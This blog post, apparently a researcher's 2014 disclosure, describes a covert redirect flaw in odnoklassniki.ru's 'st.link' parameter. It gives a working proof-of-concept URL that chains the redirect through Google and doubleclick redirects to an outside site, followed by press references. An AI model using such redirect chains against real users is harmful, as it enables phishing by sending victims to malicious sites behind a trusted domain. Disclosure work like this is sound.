注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

Tetraph 的博客

IT 计算机网络信息安全技术 数学 统计 云计算 安全漏洞 日常随笔 散文 音乐

 
 
 

日志

 
 

Odnoklassniki.ru Covert Redirect Vulnerability Based on Google  

2014-10-15 20:03:59|  分类: Covert Redirect |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

Odnoklassniki.ru Covert Redirect Vulnerability Based on Google

 
Covert Redirect: http://tetraph.com/covert_redirect/
Covert Redirect Related to OAuth 2.0 and OpenID:http://tetraph.com/covert_redirect/oauth2_openid_covert_redirect.html


The vulnerability occurs at "odnoklassniki.ru/dk?" page with "&st.link" parameter, i.e.
http://www.odnoklassniki.ru/dk?cmd=logExternal&st.cmd=logExternal&st.name=62335557910585&st.link=http%3A%2F%2Fgoogle.com


The vulnerability can be attacked without user login. Tests were performed on Firefox (26.0) in Ubuntu (12.04) and IE (9.0.15) in Windows 7.



(1) When a user is redirected from Odnoklassniki.ru to another site, Odnoklassniki.ru will check whether the redirected URL belongs to domains Odnoklassniki.ru's whitelist, e.g.
google.com

However, if the URLs in a redirected domain have open URL redirection vulnerabilities themselves, a user could be redirected from Odnoklassniki.ru to a vulnerable URL in that domain first and later be redirected from this vulnerable site to a malicious site. This is as if being redirected from Odnoklassniki.ru directly.

One of the vulnerable domain is,
google.com


(2)Use one of webpages for the following tests. The webpage address is "http://ittechnology.lofter.com/". Suppose that this webpage is malicious.


Vulnerable URL:
http://www.odnoklassniki.ru/dk?cmd=logExternal&st.cmd=logExternal&st.name=62335557910585&st.link=http%3A%2F%2Fodnoklassniki.ru

POC:
http://www.odnoklassniki.ru/dk?cmd=logExternal&st.cmd=logExternal&st.name=62335557910585&st.link=https%3A%2F%2Fwww.google.com%2Faccounts%2FLogout%3Fservice%3Dwise%26continue%3Dhttp%253A%252F%252Fgoogleads.g.doubleclick.net%252Faclk%253Fsa%253DL%2526ai%253DCtHoIVxn3UvjLOYGKiAeelIHIBfLQnccEAAAQASAAUNTx5Pf4_____wFgvwWCARdjYS1wdWItMDQ2NjU4MjEwOTU2NjUzMsgBBOACAKgDAaoE5AFP0NHr5cHwFmWgKNs6HNTPVk7TWSV-CDHX83dKdGSWJ2ADoZNIxUHZwjAODRyDY_7nVtpuqSLOTef4xzVxDQ2U22MNbGak33Ur7i2jDB8LdYt9TbC3ifsXmklY5jl3Zpq4_lP7wagVfjt0--tNPPGTR96NGbxgPvfHMq9ZsTXpjhc_lPlnyGjlWzF8yn437iaxhGRwYLt_CymifLO2YaJPkCm9nLpONtUM-mstUSpKQrP2VjjaZkbDtuK0naLLBV37aYEY4TzWQi8fQGN47z4XgpinBCna91zQayZjn2wxccDCl0zgBAGgBhU%2526num%253D0%2526sig%253DAOD64_3Qi4qG3CRVHRI5AHSkSGuL7HJqSA%2526client%253Dca-pub-0466582109566532%2526adurl%253Dhttp%253A%252F%252Fwww.tetraph.com%252Fkaleidoscope.html







Vulnerability Discover:
Wang Jing, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore.


 
 
 
 
 



 
 
 
Reference::

http://tetraph.com/covert_redirect/oauth2_openid_covert_redirect.html

http://www.cnet.com/news/serious-security-flaw-in-oauth-and-openid-discovered/

http://tech.firstpost.com/news-analysis/after-heartbleed-major-covert-redirect-flaw-threatens-oauth-openid-and-the-internet-222945.html

http://techxplore.com/news/2014-05-math-student-oauth-openid-vulnerability.html

http://phys.org/news/2014-05-math-student-oauth-openid-vulnerability.html

http://www.tomsguide.com/us/facebook-google-covert-redirect-flaw,news-18726.html

http://news.yahoo.com/facebook-google-users-threatened-security-192547549.html

http://thehackernews.com/2014/05/nasty-covert-redirect-vulnerability.html

http://www.scmagazine.com/covert-redirect-vulnerability-impacts-oauth-20-openid/article/345407/

http://blog.kaspersky.com/facebook-openid-oauth-vulnerable/

http://www.foxnews.com/tech/2014/05/05/facebook-google-users-threatened-by-new-security-flaw/

http://tech.ifeng.com/internet/detail_2014_05/03/36130721_0.shtml/

http://network.pconline.com.cn/471/4713896.html

http://media.sohu.com/20140504/n399096249.shtml/

http://it.people.com.cn/n/2014/0504/c1009-24969253.html

http://www.cnbeta.com/articles/288503.htm

http://baike.baidu.com/link?url=0v9QZaGB09ePxHb70bzgWqlW-C9jieVguuDObtvJ_6WFY3h2vWnnjNDy4-jliDmqbT47SmdGS1_pZ4BbGN4Re_

https://zh.wikipedia.org/wiki/%E9%9A%B1%E8%94%BD%E9%87%8D%E5%AE%9A%E5%90%91%E6%BC%8F%E6%B4%9E

http://www.baike.com/wiki/%E9%9A%90%E8%94%BD%E9%87%8D%E5%AE%9A%E5%90%91%E6%BC%8F%E6%B4%9E

http://www.csdn.net/article/2014-05-04/2819588

http://tetraph.com/covert_redirect



  评论这张
 
阅读(47)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017